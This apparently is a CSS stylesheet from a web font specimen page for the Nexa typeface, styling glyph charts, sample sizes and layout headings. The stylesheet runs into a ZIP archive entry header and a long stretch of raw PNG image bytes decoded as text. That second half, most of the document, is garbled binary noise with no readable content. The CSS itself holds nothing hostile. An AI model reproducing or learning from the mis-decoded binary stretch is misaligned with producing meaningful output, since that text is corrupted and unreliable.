	padding: 0;
	letter-spacing: -.02em;
	overflow: hidden;
}
div.glyph_range {
	font-size: 72px;
	line-height: 1.1em;
}

.size10{ font-size: 10px; }
.size11{ font-size: 11px; }
.size12{ font-size: 12px; }
.size13{ font-size: 13px; }
.size14{ font-size: 14px; }
.size16{ font-size: 16px; }
.size18{ font-size: 18px; }
.size20{ font-size: 20px; }
.size24{ font-size: 24px; }
.size30{ font-size: 30px; }
.size36{ font-size: 36px; }
.size48{ font-size: 48px; }
.size60{ font-size: 60px; }
.size72{ font-size: 72px; }
.size90{ font-size: 90px; }


.psample_row1 {	height: 120px;}
.psample_row1 {	height: 120px;}
.psample_row2 {	height: 160px;}
.psample_row3 {	height: 160px;}
.psample_row4 {	height: 160px;}

.psample {
	overflow: hidden;
	position: relative;
}
.psample p {
	line-height: 1.3em;
	display: block;
	overflow: hidden;
	margin: 0;
}

.psample span {
	margin-right: .5em;
}

.white_blend {
	width: 100%;
	height: 61px;
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVkAAAA9CAYAAAAH4BojAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAO1JREFUeNrs3TsKgFAMRUE/eer+NxztxMYuEWQG3ECKwwUF58ycAKixOAGAyAKILAAiCyCyACILgMgCiCyAyAIgsgAiCyCyAIgsgMgCiCwAIgsgsgAiC4DIAogsACIL0CWuZ3UGgLrIhjMA1EV2OAOAJQtgyQLwjOzmDAAiCyCyAIgsQFtkd2cAEFkAkQVAZAHaIns4A4AlC2DJAiCyACILILIAiCzAV5H1dQGAJQsgsgCILIDIAvwisl58AViyAJYsACILILIAIgvAe2T9EhxAZAFEFgCRBeiL7HAGgLrIhjMAWLIAliwAt1OAAQDwygTBulLIlQAAAABJRU5ErkJggg==);
	position: absolute;
	bottom: 0;
}
.black_blend {
	width: 100%;
	height: 61px;
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVkAAAA9CAYAAAAH4BojAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPJJREFUeNrs3TEKhTAQRVGjibr/9QoxhY2N3Ywo50A28IrLwP9g6b1PAMSYTQAgsgAiC4DIAogsgMgCILIAIgsgsgCILIDIAogsACILILIAIguAyAKILIDIAiCyACILgMgCZCnjLWYAiFGvB0BQZJsZAFyyAC5ZAO6RXc0AILIAIguAyAKkRXYzA4DIAogsACILkBbZ3QwALlkAlywAIgsgsgAiC4DIArwVWf8uAHDJAogsACILILIAv4isH74AXLIALlkARBZAZAFEFoDnyPokOIDIAogsACILkBfZZgaAuMhWMwC4ZAE+p4x3mAEgxinAAJ+XBbPWGkwAAAAAAElFTkSuQmCC);
	position: absolute;
	bottom: 0;
}
.fullreverse {
	background:  #000 !important;
	color:  #fff !important;
	margin-left: -20px;
	padding-left: 20px;
	margin-right: -20px;
	padding-right: 20px;
	padding: 20px;
	margin-bottom:0;
}


.sample_table td {
	padding-top: 3px;
	padding-bottom:5px;
	padding-left: 5px;
	vertical-align: middle;
	line-height: 1.2em;
}

.sample_table td:first-child {
	background-color: #eee;
	text-align: right;
	padding-right: 5px;
	padding-left: 0;
	padding: 5px;
	font: 11px/12px "Courier New", Courier, mono;
}

code {
	white-space: pre;
	background-color: #eee;
	display: block;
	padding: 10px;
	margin-bottom: 18px;
	overflow: auto;
}


.bottom,.last 	{margin-bottom:0 !important; padding-bottom:0 !important;}

.box  { 
  padding: 18px; 
  margin-bottom: 18px; 
  background: #eee; 
}

.reverse,.reversed { background:  #000 !important;color:  #fff !important; border: none !important;}

#bodycomparison {
	position: relative;
	overflow: hidden;
	font-size: 72px;
	height: 90px;
	white-space: nowrap;
}

#bodycomparison div{
	font-size: 72px;
	line-height: 90px;
	display: inline;
	margin: 0 15px 0 0;
	padding: 0;
}

#bodycomparison div span{
	font: 10px Arial;
	position: absolute;
	left: 0;
}
#xheight {
	float: none;
	position: absolute;
	color: #d9f3ff;
	font-size: 72px;
	line-height: 90px;
}

.fontbody {
 position: relative;
}
.arialbody{
	font-family: Arial;
	position: relative;
}
.verdanabody{
	font-family: Verdana;
	position: relative;
}
.georgiabody{
	font-family: Georgia;
	position: relative;
}

/* @group Layout page
 */

#layout h1 {
	font-size: 36px;
	line-height: 42px;
	font-weight: normal;
	font-style: normal;
}

#layout h2 {
	font-size: 24px;
	line-height: 23px;
	font-weight: normal;
	font-style: normal;
}

#layout h3 {
	font-size: 22px;
	line-height: 1.4em;
	margin-top: 1em;
	font-weight: normal;
	font-style: normal;
}


#layout p.byline {
	font-size: 12px;
	margin-top: 18px;
	line-height: 12px;
	margin-bottom: 0;
}
#layout p {
	font-size: 14px;
	line-height: 21px;
	margin-bottom: .5em;
}

#layout p.large{
	font-size: 18px;
	line-height: 26px;
}

#layout .sidebar p{
	font-size: 12px;
	line-height: 1.4em;
}

#layout p.caption {
	font-size: 10px;
	margin-top: -16px;
	margin-bottom: 18px;
}

/* @end */

/* @group Glyphs */

#glyph_chart div{
	background-color: #d9f3ff;
	color: black;
	float: left;
	font-size: 36px;
	height: 1.2em;
	line-height: 1.2em;
	margin-bottom: 1px;
	margin-right: 1px;
	text-align: center;
	width: 1.2em;
	position: relative;
	padding: .6em .2em .2em;
}

#glyph_chart div p {
	position: absolute;
	left: 0;
	top: 0;
	display: block;
	text-align: center;
	font: bold 9px Arial, sans-serif;
	background-color: #3a768f;
	width: 100%;
	color: #fff;
	padding: 2px 0;
}


#glyphs h1 {
	font-family: Arial, sans-serif;
}
/* @end */

/* @group Installing */

#installing {
	font: 13px Arial, sans-serif;
}

#installing p,
#glyphs p{
	line-height: 1.2em;
	margin-bottom: 18px;
	font: 13px Arial, sans-serif;
}



#installing h3{
	font-size: 15px;
	margin-top: 18px;
}

/* @end */

#rendering h1 {
	font-family: Arial, sans-serif;
}
.render_table td {
	font: 11px "Courier New", Courier, mono;
	vertical-align: middle;
}


PK!г�LEHEHBbluetheme/assets/fonts/Nexa/specimen_files/nexa_bold-cleartype.pngnu&1i��PNG


IHDR����ysRGB���gAMA���a	pHYs���o�d��IDATx^��aI��7�7� 
�@�@dA$so�>�T�Ʇ���X��qtT={����i��i���0���i��i���@��?�~��������w�FF|��F|Q�f0�����?�*G�X��>+����V�`�̀?��1���MdD����r@��i�l^h�[LZ\/h=�211
�61:g�N�Ō�lz���V���l���2F��G���qb�N�A�j�Ƅ���A�K`��<H
e|e�dD,�_���L���߄��*G�X�!�������"j�F�c��ɛȈx1ES��=��Fټа����^�zVebbpmbt�
�����9���o�h(�+CH$#2`ɍ��<�`JU��&�x|W9:�������E0�m�Q��3��O�DFċ)�*$��6�慆�Ť5����C�*C��k�sVp�]̘�̦_�&���y6��p���O���\���Ή�_�K��������k�]n�R:��2��)7�!ai���U�E2/�LBv
e��e��.�����g��J�V�^��u�:�*��D����E�%�.L���-R0~Q�Uo2�6�̐Z�7�=�uvS���e.�o�Z�'�R�$d�P&j�]�첌�ј�Kp��4ou� �IPg��Ҋ�M��~���������ɼ�2	�5��D8@���,�c4f��!��+�[�z!����_�G�/?(��LǓ����|%2l\h/:�U��pbj��
�rJ���P��UtUT�Zt[����ʟ�~W˪�=|5.��o��G�ļ�N�y˿JP�l�;�^ų��3����,c�p��(�KJRc�1����X	t����~y�pKj�[4C׳�\fjAp
vA�K��J��@�������r��*��
�e�f�,��M�B�2Z�Z$㴝��O�	@_��~��~���X`���G�M���-�*A��7jI�|�f�yx��`�����|�,o�.J���!�H|dIK�K;��_&��핊qk����Ld�ZO	�_���ŌR #ZC�0�5w�y��r�[�����ݥ��񵍶�S(�F�s�ӑy�~N41nc�d�q�jD�r�������/�Oj�7P,���s(!�@|��ⁱv��Pj0n�=��a2�nU�Y�J\IMX�E1�2R(st�@
 2cv�2��e�	���_9�-r��&�oT&ø�Př%�ĕԄ�Q*#�2G��"3�ozIa�k8��^�(�ȅ���@�	`�����-5܎+<#��4���O'�S�*��_�ڙ�ə���2"��\�N�|q�/ W`�ɸ!(b�i��\�n�?�
�*"Ub0.%Iu�P��^I5#�����<v�R���_�ۇ��JS��5����`��fƭ����(�[U�nQ�A��]d�r�>@k�k~��of@����ΒMeܼ�������Hќ����C�8�#�t������q5�j�"�&)W���~��ڸ�_�q��_�e53n%���@�ܪ�t�"D��b C��&�o󆠈i�)�ru����7��������u0ZV3�V��L��ɭ�M�(B� N�.2t�+��'�����3�vmWr=/�Ee[ͭ=9/���D��X����C��MZo��q��B=$�-3��.Fh��/�����K~���=LUP6����7I��;J��c�ѼZ�=ԙ)�]>-|!�.�F,�)�Zd�zK�9��X&�Px=�v2(K7�t�YK��
�QqV��BM��5t�UZ��נ�Ӡ�zxV��*��)���kx ��.-5.��/0H��7�����M@b�����3o�!��t����i
�⬠������k�"�5��Z�%6�AǧA��(�$MU
��S��:�@p]Zj\`%_`���o!(�������$;j�gޮCe�&|�f1,�*F�YA�y¿�+�
��9�З
�l	��v�Ĭ����`�μ�m��������"��zRi��2�B7�(����)e����)�����B.� ��̴��Q5�g���Ϥ���b5jVP��fײ�4����a�-��
WHNqW�,,3x�ߣ$9��v�Y�2���4xƴh�Yޤ"��������I1���P#8��[��I�jw�ʀ���ͬ���ۙ�I���q��b�sD�z�H;��EZo�̧��(���0}J�:>B��k�q1Dr0o��Kt�,3-�bT��Y�hF�M@�(9��v�Y�2���4xƴh�Yޤ"�������M`^���]�i� Փ�H뭔��Eٿ�O)[�G�tM9.��H�r�.��e�E�@��q?k-�h�	H%G7��>�Y&2ԝϘ�6k��T�����m��o�E�K���y��#{���·���x�?0�i��& 7M�Q�7�i�{�?�����k{����}�W}��7�A�	4�~�@��~�3�+��E�4�.�&�4�~h����?4M�4M�4M� ��i��i��i>��i��i��i>��i��i��i>�����ka��;�ک3��U����5 �?̥�V��?�Ӵs�������,��"���HQG#f���R�W�FZ81+�΄s�>� �����k�F� �/)�!�hE������8dB݌ M
��%Ă�I�����cB��\��*��eq���Y��e��� �G,m�B��Ӵs��3�<V��ڞ"E���J�_�Qh�Ĭ�:�a�7�p��c�S�q-��@�e�T%��,n"X01kv��}������V�w�t�v�#�`f��JX�S���3�C_)��]#
-���Qg�9���?�	���~��,�pdZ�k���1�_���g]Ћd�oM���^��N�Ggav�Z�X# ;��cٔ��kD��Brڻ���@��v*YF�Q�M�
��C�z�M��P{�{��3j73�J(i��+�[A��%u���Xz��Z2�/E���I-�L1
���A5o�љ�R��3�cr@g��g]���w���aTaS�Dî�P��i�Ƭ/��^�^,����͌��C���J�V��yI��7�ൖ�:K��?낞ևy���Ǘ����g�80>��#�4��Ʃ��x"�X
r�{f�~ǫ�=Eh�0b(�8����%���h��[b�˧.0�5�����Za؂ N@�?1��3���_�_(Eӷ�jό�*#]GCi�d�\#"�eZR�FW�-\|��$������DO�-3�8S�qw�X�hx,By�	�B�p	,�V��)p�<��@�I�+ƍ*�1U��T�
e��ctYɊq��a¿�Q5��n9�	~��"�>��#���&�E�~‘�P@Z)Y+׈�Fb�����U�i˯�z�{
\��B��[D�Cc���@��ȼ�#���?��nQ�߅pd1�VAJ��5"��X�%eit�л�����o��gp�s켜	���--U�H���mf�C��j�G�
��o6�Ca��S�K��%�n�k^��ϟ�W�rn�K��~53���ͯ���+
|�^�4�}QA����>$A7`��l0���ـquE#Z.�T��=�h��čbD�B�;�N�e�!/Њ��%r	��A�XELp_g!�"�pv˵�S̘��6�)�;C�1Ha���4�C�rX��n��qIKΔ�tq)�>�p��߅��֫��/*��\�ڇ�"�,��
�v9X��"0��hD�E���t��Q���q�+B
g�\[;Ō
j�2�3$�v��O#84/�e�!�)���LyH�B����?�]��l��i����0+!�5�}H.�n�Rk�`j��5�-���F�\b�����~�q�+�k�;I\�Q`f��DdA���\r�9ў��W��{���v���p�r�"%��<��p.��?郭��2���8����	�d�cP�A�Ւ�r���4��z>wH�~���8��+I��͡9�)�:���iuEC���|3��F��W;g4�(3h�N�4�:�I^m��
m��@jc�h�B&ܐt\l�z3�)����u�Q�'}�_����g��h��R�EXo�4%ל�и�w!*��KV�����w�}�]���߾���At�4j������$���[�`2S�
�0%Ya��?锨����W�&�@nF��ˮKs�Wi���A�3—�J4(8�5�n"��W���f-ZXd��U��<��Q�=L+�v�,�^7Y#VLH>�͊���ά�kk�U�u&k�:�SdIĆj�*pC����ֻ�
wE��#UiTj��5p�$�5�Ό�rm:I�	�QA�vHJS�|�L����bm��iF�B
Q�@�d�$s�0%Ya��?�]�o��U�H��D��7DY��XJa���pW�L<BP�F��K\GN�X3���!צ���k��4EA�ͤ���;+f�fY�f�(�uLfJB0W
S�F	��߅���\U����B��+��������3�9��d>�a����d"+X
��;}δ#��g@��,$�r(���N�+�z�_��Mj8����D�sl�sq�IL"���m}��
Aj�+�&Aj��1#6�PU���ڜ��(gu1�e.��ec�z��!l��H$�F9�@��@Z��J�H#շ��%�hWm/�#M)Bt�p���06xp�Ę%�_�F���̊(�:Ԕ��N�l)��[Z�߅�8�$&��k�.D�#tH[8;ɀD��QN!�g=�V���!��A����vf�jjJ�BQ'L���--��BRs���5�~"o�:$�-��d@"Z��P��1�}
�\V��m�7p4�4͛��B�.�4��~��w�ȿ��i��W.Τi����BG�]�i~9�.t�߅2�Ɵ��*l_\�e�~�4M�v�P�4�~j��+@M�4M�4MӜ�M�4M�4M��M�4M�4M��M�4M�4M�3����
���ſ�>B����&k���������4�ZX�S�*��P&4L9�s�B���=e���Ҍc#�hV��)�CYU��o~����\8q��{qHa�1��?*B|�]�l�l)��H�n&�����hd��&&����!���RH�8�6�`����±A�ӏ�cFhRS��=?a?=|#�&���YD(���9J!xj�2SdgiƱ�uG4�
���H���*�с7?V�pq.�8E��8��͘p������FL�S�_86���`�1s��Bj�w���',׿��|���
�������8�_�<��J?.zM�-eB�_����0��'K,�++�{*�E<� \����)M��$\�o�k�n��>g�
@��Y6��-�a����xU�K�W���[��G��U���]9��^��e�dVn�����t�V�����y�@,�++�{*�E<� \����)M��$\�o�k�n��>g�
@��Y6��-�a����xU�K�W���[��].1]�c��.z���]n^�8�O��+�O�yy�B��k���҄B�8���z��g
�IdU���~�Yv5K����Ueq�9B��^���d.ŕ*I<���߽��s���+T�k79XS��4��D�}YlRH]Y+So%2I>��+��zzZ���֦,��Y��Sr�h�&+b.+{6��)�8��nI�����PϨ�_%L���,&����Iq8�1�7c�^
Y����t��)��廓�w9��]���b�B��Z�z+�I�I�X]1e��\L�]��q��r�����r���ϟ����~�_#O�v�Ǹ��~�����O�j��k���?�Y�
:5FLaD��Y,k�AA��K��ʖ�z�!E�\��Jn���)��S!�cH���Rt����@K�Ǵ�&����"�ت(�Pg%1c"�M#�(�"�e�i��/��:N�268�$8y�מ���0�
d!z��S���(u30Ⱦ�Z(�x1o�V���6x���r!��@p���e��� �hP�gt^jǠ��FT�~�1�X[��ƃ������A�`J��f-k��7p+`
�^<P
�Pz^�`Y 8��в�Lb�[4��3:/�c��r~#*�x�ӿ����F��@
Ec��W�gr�jPb�"��P����~T5�B��˙���2NGq�Nh�ؼ���'�t���ɉ�l:�#)*��d'4��\��JW�T�\���\�84f�"+��0�ɉL���q�U��
\l��/`�2V�s*�!��^��y`�O��Z.�Э�K�/#�A���1h�En	�V�4\�W�1T=�&��X��N���蒠�Z�k߽����r�<��Db��WU"9Q�w9�и���
�.6�p��r���-��*��K��*�0��'�$�+C��ɐ]]�.�_��	��w�<��Db��WU"9Q~�w�����e���<����~�Ϟ6KA.gv^.�8ģ.~P�ؼ�f��yŐ���W�"�$�i�z���
VXA��=�j
D�'lj�����0�T��Ua�S��H����8�mZ��~}�:����ۍ�&��;C��5�݂r�e�W�'$�o�:W�qC��l�,�P�����U%#�K"�Ii<<�y��4�V���Ҿ���.��j�Cg_�.'A��^�:C�q�۴������ �}���]N�3��+�4ξ~ۻG~��%���a���_�����̐�y˼���K�uV%�E��PR3�3;/We/"5��y�I�K����.�.�����&��zС�ڒ�x�=ݚ)n0���~�G<�dfI����]V���k"A�E���rИ12��Y�o}Q�
PA����B�XGYn�N���"a�ƻ	�^�zJ�	]x㽳)ꊐ*���
�	�	AKR�V�p�� �
j���K�UX����P��W��z)�Ί����Jj��rf���E�&� ;/5�u���w��2� Y�ջ�0��D���x#]�1;bdP��� ����J	�U�b�8����,�)�yE��w0���P���{gS�!U.&sz� ��­��l+@A*�7������45�¡t=��$�R~�C	~Qa-�������UًHM"Av^jR�R/������~��~�ȫ3�P2L��ڤC`�_ld�PÍ������^ʯd�^4����
�3�Q�+��YӐr(cF��ꝧ�X�!jB+��(�x�Q�a�$���wT"n!��w
��T7���-�db9��L�ԋ"r�D}�0f/�3&���t�1bt��z!�TA�L-\	,�&P�2��/hwPC��e� �V\��^�����̪ ��٥�Q�JQ ���L�m�^��r��1#�c���.7 6c��zQD����~�3�y
�z�}�DZq݋z1,b���q�(t5�!���+Y�w9(�x�Q⻜�	����ٖ��,x�g�c���Я>��iފ~�{�~�k���~�{���r��|��y����4�~�{�.�4�~�{���?������<��i���\�4�6�.�;�W�
P�4M�4M�4��i��i��i>��i��i��i>��i��i��i>��i��i��i>����Ť�6*�l���eg�7˓���i�����q�S2��¿�?�\�ի�L�ɦ^�T�%{P*��5����n�->X��Ws)SG	����CC�]eFfV�Ys�
�Bd�=�O�St����f �u�yi"U��p��1��BЊ3�J3�~6�T:0�hr��W�W\�����eg��#)���}Q�q�S2�ɆW�L�z�^uf*�O6��z-��ˀR�u$�)���M�u�0l���K�:J���R�*32�͚[n@"�o��	�ҁ�G�$�ڽ��,o��(;;�Ia�.�K�U�
;A㹣��<y��2�^��(}J���\�]�0���7)���	�z�H
|���Z_�r��Uʍw�����A���B�4�.b��r��P}�@��Wf���k�S�5x�AI�@m��Ҩ�p�Dj���a
�����(�ڶ�-mתeu!b�=n����Z���3�^�m��ڥe�.�����1v�L�[D���S'�Ž2{�]S�*���J�j�u�x�F��&R��0h'S �渵�F1Զ�n�h�V-+(��|p�����8��Y������C���'�m���γ�{�^�ா^�|؈�%�.J)�Gk
ɀN�K]�=U�����jɃ�MZ��]�v>s�,��(�4A��W�]�3$!��0��LU3o����t���WhN
J�e�P2c��"@�z���9���,`�Bh�7�[y�P)��Z�b����oEƦ�EP�H$�o҂�� ��Kg���FqO�	�E�Z��b�!		V�y�g��y����~k
�,[�Ѕa�������_~P���y�]
>�*��Ž��ܸk�#�U�D�����8:W��kf�z��0/C����W�3�`� qA��RS�r�r��W��ԧ{������eq��|I�tL�bɐ�X�8e`�R�X�Sm4���;&�O,9�SJ1>�jҷ�I�+���&7���E9��Z��˜�{�Q�r���ɰ�B����P\o���J��8	s�%}-��6h0t�e����հݡLݸ;�8��s����Z'����������ྒW�>ݫ���@u�w�.��$.��~kKT�o�����z�}TDP2��I��.�k!ĵA�٠�/�����e��]��e����8��䖯'��[�����o?�|����}���'���(�4�EW�0�ͨF���Oy���� -|9���vM�H�Ϧ����X#A��5�-օf\JJ7�6�׻�?���a
�7�f�@����]�ˆ���e�.3BX�8ky��1.��UQ����
-����-�=V�vX�|JX��JV�@Ӷ8HK�5�-�O�&��A�7��g��[v�$�r�\�8��s6��(�L@�Vͱe�(1`�%���'�I�H��5�s(>e�x�[�������Z�QEIDbf�(������[��TX��a��)a�**�~k�X���y�}@%z�	�xª9�l%����Pc`��2)>�u�}ŧ����u�:�߾��O��f}
Fⶋ#z'�Ơ�@��
Q���knq�����ڪ��EQ�����h�K�EW%�1��7#��-��v��jKU�^ڸ'tp��V����ZC�����1��`6Sْ#YKe)�Gs
�.<��ʸ�U��0��iA)C
0�0}���T�P1�����n�s�`v�����g&1�G1\
�٠;�+��_xIS�c�9.�*��h�ꪩ��m�:"N�y�eS�œ�}j[��`8II*D�f&�!@�S5��z^X[5ִ(�T"�-v	��
�ds#��B��f����Y*K1>�k���n�s�`v�[��m�:"N�y�eS�œ�}j[��`8II*D�f&�!@�S5�|M��{A����_��~�P	����]����H(�A�R3(��E�7X8@3W�0k��%��%��c��#�'�g�8�1�֙�d��*f2x�̾)�$��1�.W���8��ʖ�Zj^,�^b9
A��3�6�*)�NXO����
��k���}aP��L��A2���44sB�TH�:���XfK�*���5�̜#U��F0��/;s����&���I�N�D�d�4�y�Rr��FKC��Z�}@6��:��j9
A��3�6�*)�NXO����
��k���+3�H�/è��yi����\��w�I�xR��/*�#Mt޸��9���x⭕.��W^���扣釆SЍR܌J��`�v��̰�w$b��h7�2d���|�A��fB=P�4�g��%J��.���Tbr 2��ALK8��E�bԮ�xG��+Zw�R��#�v���:�̻��*˭�	$k)�I��b5zrqÕ�L���b+�U���B��6��yK%.�������p4c���]��Y�e�<��D~�	ؙ�8(�k��cM��pU�[�E��|aq��jpF�K�ּ�2�`��r�z�Z�kR��X���@�pe�*�>,'�؊w� "��g�
-<f�R�K�|;�z���ed<\��m�fWp�keY!��џ_/Bv&3J���XESĶ�.\�e+7_X�����o��w�1��
&���i�C/֓�!j*ã���Uj��f��_Cg���z^�	pDF��M�Cg
B�����pn�u-���exF�Ѝ�4'�������Bk}t�i�OI�"��ˡ�R���8�{�FЕS�4:��P2�\4��1�WQG$��<��g�b�
GИ��Im֜�A��⥨�P7/F<�db����FB�	f�<�o���[+�Y��Z�&HƑ���6&�#�*
�$[�����_LS���R:�͚0(�!�o��;k��:Yz�o�ָ���>d_��'�1tӼ�~k}s���/��Z�7淼�~����@��Ͻg�4�6����[k�4������I�Q^W5M�|\���i����o����G#��#��o�4M��֦i�7�w��~���4M�4M�4ͤ?4M�4M�4��?4M�4M�4��?4M�4M�4��?4M�4M�4��?4M�4M�4��}����S���;�y�YCl
iz������r�^y��d1�q�P!�k����mEܭAӲ׊C��+#� �� S��'D�<�Bs�����D�ܸ�j"�)3K��z#�і���{(�1�b�k��^^�׈�*,�xp�K@ܰ��gK���S���s�T���dJH�rɜs%o^6�4��Qߌ[AY�k�<ؿ
��U���F����{�W�l+�n%���V*��_a�D���8!"�!��f'�p��}VQL�Y���1���<�fg$�C)���]�>��\�v�Xu�L�W�46hz%2[g����w�� ���h@J��x*��쩾Pf��sG%�jY��)�WFA+�����q�D��bH�J%+E���I_y��F��Ϋg��y��)F�p,��YNm�ٚB���Լ����U�)�q�c��	wN@Ep����iʾ���eJ��X�c�K;'�#���Jd��+(+�����wA�'�р����Tv��S��)U��7C8C-"+P1���#hP�1�|!N��S�]�d��T�9�+O��ȝ�y���3Op1�(��9˩�=[�A(3���r�*5<�r,!�"��	�N�S�9M�׻Ԝ������_~�k��g�~�&���ݽ|���x�����Sd��B�[(�,A(Q���{5="�S�Uf�����P��RI��M��ƤZ�-^��6���c��̈�22Q�bXW�UB'�����v���_)k�4�{TM��@
G�b�I�h%E�m9��X1|r��(S�)8�'�����{�s%I���5�$9#|�n��|޶�&?�VKE��z�48�\�r*�{/�֨1��j@N6�>+�=�ҵ��2Q�;���LT�����n�	/�(EuD���'I�[�,�ym��=�6�J�P��r���b����Q��SpH!Np%��9�"�J��1�k�IrF�
���m/LM���
�S�(
��������o?�|����@3#�1;�"�~x�(��U���H��ք�!��[H��a��d��1�5�s���N��G�J5+�T���DP�ZP̃ת�%�Y�#�r��骓�&�+�$��\xP\�>ю��'��~y��+���?8P�)�����6�����Ss_	Y�X��a>*ߘE��TH��Q�ʼn����K��T61�-�z!����5q|�����8ՌbH�v��"��0nm�&��V����K|խ&M����&��Y1f��dU�2����c12jB���P��.7�jV��������,���U!�K"��G(�"�U'�M|W>I^'>��&+�;f�a>*ߘE��T�o��n�/B��q�W����>Du��(ة�CXKSx7��Q�$�L�l�8��|5��}-�d�j­�
]s�:�1��b�3���R�T9��K
r�_�T�1I�y���]�Mv�����2�u[E�B���cLPB3�B�BP�����+,��*����PQҜ1��_��j3�Fd���s]�̨,�S����8X���V�(���P�`�8�u���Va�sb��0GybXc��TP1�"�*:e���)��{�u�����Δ#�73&Aer��{Xl���,N��>.y*ޘ��<���.�&;���ewʺ��"e!�i�݀1&(��i�h!��`�O��JJ��ln�(iΘ^��@5�u	�#�Y��.c
fT	��et�wT�YD]�^Q�\�o�Y�:�PJ���9��X��<1��JQ*�qn���
���Q��Z���9'�'��{yQ��
��qO�&�LgX�J*�Z����O�2b�K7��nS�6���ת���dJ)�N�1G��:�j�����jd�℧�U�_�t��G�z�78���H�q����Pe�!�c�*/<(�G�Y]��?���o#�&E钙�R�O�*�1�,R��bX>K+Y���?Q�)��2�㪣�R(Z�*��S���kr����hn���&e���;��J%��2�s��=E����
�2#Yơ.43�?@�E܆3��
���Pg�~c��bX>K+Y���7v���&e��I������/��z�h��S���໩����[�P�{�vN�x��?���PF,s�&�-���ዴ��b<�$>���;��Z��l�����r��4Kr��L :��6�)~e���$΁�D��/tG5��&��J���8ٮrr�r�0O�6��O�Fѕ��)��*K#�5�R׭�Vu'��D	�*��ㄺ5
�:��1�X�k���V�x��ͤ"a��ja�r���S(��e�P�����"���T|5���ݪ�̌&�5����`�|�o���X%]�x�lW��9`9q��@�B�է�C��J�R�ld����sR)��V\��hf��V�~cOMڳN�L��B=������q_��#�bOw`�~7
���^/U�j%|;���Y��L��ۼ��p����*@�߃�`x�X%�lRP���BC�=��f0N�Պ2U�2��U��"!=����J%�ZԢV*��_Ue*��PtQj��è9Y	�1�*�!L|Ak{��Œbj5�"�$�	M�������$��Z�
�T�gg��Ҫn���	^M,��.��q�j��f�*�f��(�Gp��J�K�R�V·v$3����5K�\����{m�	�n!���=X��l���cP���BC�=��f0N�Պ2U�2��U��"!=����J%�ZԢV*��_Ue*��PtQj��è9Y	�1�*�!L|Ak{��Œbj5�"�$�	M�������$��Z�
�T�gg��Ҫn���s��|���zZ �/�pJ�ѷF=�-����s���1�b�.F]��s=k�-�E�±h|A���)��	�1�m1��Ը��>E
a� ��*8)�ꭙ�?$��0���
Z�|���3)�}(A0�V���_iX��� �(P�$w�N���C�ߝ� /a��F�d�І���`�2���#�ˬ*\�F¨l-n"�Z�hh�Rb�S��h`w�'H8��
�zr��}��e�޼����o�(�o�"�&q�X�Bk��3t�"ų%��
7�+
+Б�
��n���Is0#y����%l��(���p��LV��`�#x$t�U�+�H���M�@�
-#XJxJX����	g��aQO��ؗ\�86� p���)��){���֚�iޜ~c���{�����ު�}��O�&��7MӼ����7���'����߬���Wo��p����6�4�/������4�������I�~�k��y��{�4��|��i��i��i>6��i��i��i>��i��i��i>��i��i��i>��i��i��i>����o"���q(���(>��R�_?�����OT;���O���΋�!������W3ɣOw-��b!�r[+k(�v�A�\E��
��C�D�N�m�ZԢ9�Ϟ��B����\�����:��E���$<
��4��iB0"x�dc��֊с�M!NqM���=��X*�h-���f�@�`�৕�W���OT;���O���΋�!������W3ɣOw-��b!�r[+k(�v�A�\E��
��C�D�N�m�ZԢ9�Ϟ��B����\�����:^��Cn��!,� w䜈�,\�j�9�8؃�Je�/��k��3E����C�6����+*]˒h��qW�x���p	$�>]t$<���œk��P=���˦5�;�E��M�F�x�w�p��Ғ��>t	���(�{�~V�e�+Y$A)ϨfU�n�KD���m��Î��R��j��:pGM'�p٪ŋ�8L�@��_����g��������!��ô�@(�����e�ʝ�"��&n�\<؅;u8�ii��b:��X}�Ͻr?��2��,���ff՟�<�JOpG��>�;f�2�*6��:��ſ���<;PH�*_�g<B�~}�R�Z���Mby��e�V7H����1)�hBh�P���J�e4�ɢW�sþWZ�s)
.��*�7R$����оj�8�1�(-^�8��A�ً��9�ÿ�$	*�,��põ��[���P��0wn�ʼZ���S�[�����:2ΛvƤp�Y�B{8+���<`&�^�
�^i�Υ4�T.�L�H�د�=�GB��v�t��`��xY
���/���}�AA���"�2v2F�C_��;���'�� S��0L=�g��_�[J�)>�6R�)8�e���M��`u�c���,�3*E�8��`y���ʓ��&��^G���]x���ۼ�+)�����i�>�󎖸�d�\h��2�l5��BV٤X�n]`�t�@Zt�:v�%./��B���O�@ՇJ2+Cx����%3\JV�X�[�%P@<L6�Qx�B�9��Ƙ���NX-�1
VFbF�2AP‶�K��L�e�̀�bt3	2B�"��x�]eХbJ��wL=�g����4���o�M��A�J7�E��}\JV�X�[�%P@<L6�Q���>�/�>������L�/�R�)`o�,��{�]}Lj�S��e-��B�gΫ���XԂ��|-(TT��7�[&�R#�uF(Uy#��ߎi���J{��P��Ө��x�4(�Kuʌ��,�f1��,'d�`ti��6�<�2̼g�h�c^=�;�C�I��W/�"�c#c�i�S\A�O���8�h��X�p�(�N��pT�qK�%�
��I�dTR�Fܞ�	p28��<%�jA�xBj�S����3�ۍ��j�`!��*��>���*X��F���A��X�Sf��eQ7�a�`)8!�H�N��1�q�a�=kE���	*L�5�z	Pq���N+`��
��}Pp���?��?���Cɦ��ܡ/P�*�r��|>���y��������;���ŗ��*؊e�&tc�(iFR�ǝ`e�2�����qn��8���2URIٳU�R=��YIxK�ԛ6B�)���61t(�V
N��N �;�J�	�9�$��d�k턽Iz��5bIH�q�����3٠��ʊys��I�u~9w�|��`�4��h��(%����8�%���3a�e]��l�Wɣ�,�r��|>���y�����������<!S%��=[�.�
��T��t]@�i#�N�r)nC��ѱ@m�����ҋ�C��@\�Ob�l@&��>++�M�aVb$]$���iP0��O%Hx�_Z=���B�g㍂�ɱDH9Keʏ�T���A˦qE��`m�gQh`������1C�I>5ҭd������ŷ9ص�)"�T�5c҉��:u@b,d.���h
�l}R\V�!��<.̫:'!>'ikdz���/�7H�z�w�6���B)�8�����;7�3\��D�3��b��Ɨ��?�̣˙拂ZFg˖�{p2X���b���[(#�U���q|��E�/��)g�,B�ը�w
